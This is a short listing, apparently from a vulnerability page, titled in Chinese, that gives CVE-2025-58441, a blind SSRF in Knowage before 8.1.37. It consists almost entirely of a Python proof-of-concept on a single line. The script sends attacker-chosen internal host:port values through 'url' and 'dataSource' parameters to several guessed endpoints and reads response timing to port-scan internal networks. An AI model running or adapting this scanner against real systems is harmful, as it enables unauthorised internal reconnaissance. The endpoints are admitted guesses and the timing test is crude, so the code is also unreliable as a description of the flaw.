CVE-2025-58441: Knowage 8.1.37之前版本存在Blind SSRF漏洞

import requests import sys import time # CVE-2025-58441 Blind SSRF PoC for Knowage < 8.1.37 # This PoC demonstrates how an attacker can use the SSRF to scan internal ports def check_ssrf(url, target_host, target_port): """ Test if the Knowage server can be tricked into making requests to internal hosts """ # Construct the malicious URL with the SSRF payload ssrf_payload = f"http://{target_host}:{target_port}" # Common endpoints that might be vulnerable endpoints = [ "/api/1.0/widgets/execute", "/restful-services/2.0/crossNavigation", "/knowage/api/1.0/datasets", ] for endpoint in endpoints: try: # Try to trigger SSRF through various parameters params = { "url": ssrf_payload, "dataSource": ssrf_payload, } start_time = time.time() response = requests.post(url + endpoint, data=params, timeout=5) elapsed_time = time.time() - start_time # If connection times out or fails, port might be closed if elapsed_time > 3: print(f"[*] {endpoint}: Port {target_port} on {target_host} might be filtered or closed") else: print(f"[!] {endpoint}: Response received from {target_host}:{target_port} (time: {elapsed_time:.2f}s)") except requests.exceptions.Timeout: print(f"[*] {endpoint}: Connection to {target_host}:{target_port} timed out") except requests.exceptions.ConnectionError: print(f"[*] {endpoint}: Cannot connect to {target_host}:{target_port}") except Exception as e: print(f"[!] {endpoint}: Error - {str(e)}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python poc.py <knowage_url> <target_host> <start_port> <end_port>") print("Example: python poc.py http://target.com 127.0.0.1 1 1000") sys.exit(1) target_url = sys.argv[1] target_host = sys.argv[2] start_port = int(sys.argv[3]) end_port = int(sys.argv[4]) print(f"[*] Scanning {target_host} ports {start_port}-{end_port} via SSRF...") for port in range(start_port, end_port + 1): check_ssrf(target_url, target_host, port)